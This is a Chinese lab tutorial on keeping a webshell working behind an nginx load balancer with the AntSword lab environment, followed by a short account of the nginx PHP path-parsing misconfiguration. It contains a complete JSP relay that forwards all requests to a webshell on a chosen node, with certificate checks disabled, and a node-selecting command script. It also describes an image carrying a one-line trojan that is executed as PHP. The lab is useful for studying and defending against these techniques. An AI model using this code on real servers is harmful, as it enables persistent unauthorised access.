負(fù)載均衡下的webshell上傳+nginx解析漏洞的過程
負(fù)載均衡下的webshell上傳
一,負(fù)載均衡下webshell上傳的四大難點(diǎn)
難點(diǎn)一:需要在每一臺(tái)節(jié)點(diǎn)的相同位置上傳相同內(nèi)容的webshell 我們需要在每一臺(tái)節(jié)點(diǎn)的相同位置都上傳相同內(nèi)容的 WebShell一旦有一臺(tái)機(jī)器上沒有,那么在請(qǐng)求輪到這臺(tái)機(jī)器上的時(shí)候,就會(huì)出現(xiàn) 404 錯(cuò)誤,影響使用。是的,這就是你出現(xiàn)一會(huì)兒正常,一會(huì)兒錯(cuò)誤的原因。
難點(diǎn)二:無法預(yù)測(cè)下一次請(qǐng)求是哪一臺(tái)機(jī)器去執(zhí)行 我們?cè)趫?zhí)行命令時(shí),無法知道下次的請(qǐng)求交給哪臺(tái)機(jī)器去執(zhí)行。我們執(zhí)行 hostname -i查看當(dāng)前執(zhí)行機(jī)器的 ip 時(shí),可以看到一直在飄,因?yàn)槲覀冇玫氖禽喸兊姆绞?,還算能確定,一旦涉及了權(quán)重等其它指標(biāo),就讓你好好體驗(yàn)一波什么叫飄乎不定。
難點(diǎn)三:當(dāng)我們需要上傳一些工具時(shí),麻煩來了: 由于 antSword 上傳文件時(shí),采用的分片上傳方式,把一個(gè)文件分成了多次HTTP請(qǐng)求發(fā)送給了目標(biāo),所以尷尬的事情來了,兩臺(tái)節(jié)點(diǎn)上,各一半,而且這一半到底是怎么組合的,取決于 LBS 算法
難點(diǎn)四:由于目標(biāo)機(jī)器不能出外網(wǎng) 由于目標(biāo)機(jī)器不能出外網(wǎng),想進(jìn)一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個(gè)場(chǎng)景下,這些 tunnel 腳本全部都失靈了。
二、環(huán)境搭建
漏洞復(fù)現(xiàn):
我們假定在真實(shí)的業(yè)務(wù)系統(tǒng)上,存在一個(gè) RCE 漏洞,可以讓我們獲取 WebShell。
環(huán)境搭建(下載地址:https://github.com/AntSwordProject/AntSword-Labs)

將下載的環(huán)境上傳虛擬機(jī)后解壓
──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# chmod +x /usr/bin/docker-compose
為文件賦予執(zhí)行權(quán)限
┌──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d

連接蟻劍

查看ip,發(fā)現(xiàn)一直進(jìn)行漂移

解決方法
1、關(guān)機(jī)或者停服
首先在測(cè)試階段,我們可以關(guān)閉一臺(tái)服務(wù)器,只保留一臺(tái)機(jī)器,因?yàn)榻】禉z查機(jī)制的存在,很快其它的節(jié)點(diǎn)就會(huì)被 nginx 從池子里踢出去,那么妥妥的就能繼續(xù)了。 但在真實(shí)項(xiàng)目中,是不允許的,會(huì)嚴(yán)重影響業(yè)務(wù)。
2、執(zhí)行前先判斷IP;要不要執(zhí)行;
執(zhí)行前先判斷IP;要不要執(zhí)行;
MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; then
echo "Node1. I will execute command.\n=======\n"
ifconfig
else
echo "Other. Try again."
fi由于該docker環(huán)境中無ifconfig命令,需要更新
root@ae64558c1d47:/usr/local/tomcat# apt-get intstall net-tools
將腳本上傳后,訪問如果是0.2ip地址,就執(zhí)行腳本
3、在Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)

腳本內(nèi)容
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.19.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>訪問后就一直是0.2地址

nginx解析漏洞
該漏洞與Nginx、php版本無關(guān),屬于用戶配置不當(dāng)造成的解漏洞。
直接執(zhí)行 docker compose up-d 啟動(dòng)容器,無需編譯。
正常訪問

在url后加一個(gè)不存在的文件名.php,會(huì)出現(xiàn)以下頁面

這是因?yàn)樵撐募械呐渲梦募踩缶Y名為空已及將cgi.fig_pathinfo設(shè)置為cgi.fig_pathinfo=0


當(dāng)訪問一個(gè)不存在的文件名時(shí),會(huì)自動(dòng)將上一級(jí)目錄尋找文件按照php形式解析,而圖片中含有一句話木馬,所以出現(xiàn)上述頁面
到此這篇關(guān)于負(fù)載均衡下的webshell上傳+nginx解析漏洞的文章就介紹到這了,更多相關(guān)nginx解析漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
如何解決Nginx請(qǐng)求轉(zhuǎn)發(fā)將POST變?yōu)镚ET問題
這篇文章主要介紹了如何解決Nginx請(qǐng)求轉(zhuǎn)發(fā)將POST變?yōu)镚ET問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-06-06
Nginx中IP地址透?jìng)鞯膽?yīng)用實(shí)現(xiàn)
Nginx的IP地址透?jìng)鞴δ苣軌蛟诜聪虼韴?chǎng)景下保留和傳遞客戶端真實(shí)IP地址,通過配置proxy_set_header指令,設(shè)置X-Real-IP和X-Forwarded-For等頭部字段,可將客戶端IP信息傳遞給后端服務(wù)器,感興趣的可以了解一下2025-12-12
Nginx通過用戶IP獲取所在國(guó)家及地理位置的實(shí)現(xiàn)方法
Nginx是一款高性能、輕量級(jí)的Web服務(wù)器和反向代理服務(wù)器,今天講解Nginx十分常用的功能之一,通過IP獲取用戶所在的國(guó)家,一般廣泛應(yīng)用在各類需要定位的網(wǎng)站上面,來定位用戶首次訪問的國(guó)家,通過IP解析庫GeoLite2-Country來實(shí)現(xiàn)功能,需要的朋友可以參考下2023-10-10
Nginx高并發(fā)配置實(shí)戰(zhàn)百萬級(jí)并發(fā)優(yōu)化
本文主要介紹了Nginx高并發(fā)配置實(shí)戰(zhàn)百萬級(jí)并發(fā)優(yōu)化,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2026-02-02
深入理解Nginx中Server和Location的匹配邏輯
這篇文章主要介紹了深入理解Nginx中Server和Location的匹配邏輯,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2019-03-03
nginx使用nginx-rtmp-module模塊實(shí)現(xiàn)直播間功能
做的過程出現(xiàn)很多問題,環(huán)境其實(shí)就需要nginx就可以,然后就是在播放的問題,m3u8的格式,mac直接訪問就支持,蘋果系統(tǒng)原生H5支持m3u8,還有就是手機(jī)直接訪問也支持!但是其他其他系統(tǒng)PC端不支持,嘗試了好多都不行,最后終于找到了一個(gè)支持m3u8格式H5播放2017-10-10
nginx使用replace-filter-nginx-module實(shí)現(xiàn)內(nèi)容替換的示例
本篇文章主要介紹了nginx使用replace-filter-nginx-module實(shí)現(xiàn)內(nèi)容替換的示例,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2018-03-03
高并發(fā)nginx服務(wù)器的linux內(nèi)核優(yōu)化配置講解
今天小編就為大家分享一篇關(guān)于高并發(fā)nginx服務(wù)器的linux內(nèi)核優(yōu)化配置講解,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2019-03-03
Nginx、Tomcat等項(xiàng)目部署問題以及解決流程
本文總結(jié)了項(xiàng)目部署中常見的 four 類問題及其解決方法:Nginx 未按預(yù)期顯示結(jié)果、端口未開啟、日志分析的重要性以及開發(fā)環(huán)境與生產(chǎn)環(huán)境運(yùn)行結(jié)果不一致的問題,通過提供詳細(xì)的解決方案和思路,希望開發(fā)者能夠更好地應(yīng)對(duì)部署過程中的挑戰(zhàn),確保項(xiàng)目順利上線2024-12-12

